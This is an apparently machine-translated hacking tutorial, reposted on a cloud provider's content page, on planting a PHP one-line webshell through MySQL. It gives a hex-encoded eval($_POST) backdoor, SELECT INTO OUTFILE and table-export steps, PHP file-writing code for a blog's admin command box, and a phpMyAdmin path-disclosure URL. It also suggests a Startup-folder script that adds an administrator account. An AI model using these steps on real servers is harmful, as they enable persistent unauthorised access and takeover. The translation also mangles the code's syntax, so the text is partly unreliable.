Take php + mysql

Source: Internet
Author: User
Input select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql. user into outfile 'path' in the mysql operation using php + mysql to obtain a <? Eval ($ _ POST [a]);?> The smallest Trojan '0x3c3f6576616c28245f504f53545b615d293b3f3e is ours <? Eval ($ _ POST [a]);?> This method is more common for phpmyadmin. first, The phpmyadmin path leakage vulnerability is exploited. a typical example is http: // url/phpmyadmin/libraries/select_lang.lib.php.

You can obtain the absolute path in the php environment :). It is mentioned that mysql should write d: \ wwwroot \ a. php in the win System path. The following method is a commonly used method for exporting webshells. you can also write a vbs script to add the system administrator and export it to the Startup folder. after the system restarts, an administrator account will be added.

Create table a (cmd text not null)
Insert into a (cmd) VALUES ('<? Fputs (fopen ("./a. php", "w"), "<? Eval (\$ _ POST [a]);?> ")?> ')
Select cmd from a into outfile 'path/B. php'
Drop table if exists
When you access B. php, a <? Eval ($ _ POST [a]);?> The smallest horse.
If you can execute php command is much simpler, the typical representative is the BO-BLOG, in the background of the php command box enter the following code:
<?
$ Sa = fopen ("./up/saiy. php", "w ");
Fwrite ($ sa, "<? Eval (\$ _ POST [a]);? "."> ");
Fclose ($ sa );
?>

The file named saiy. php is generated in the up Directory. the content is <? Eval ($ _ POST [a]);?> The smallest php Trojan, and finally use the lanker client to connect. In actual use, whether the folder has write permission should be considered. Or enter such code <? Fputs (fopen ("./a. php", "w"), "<? Eval (\$ _ POST [a]);?> ")?> A. php minimal Trojan will be generated in the current directory.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.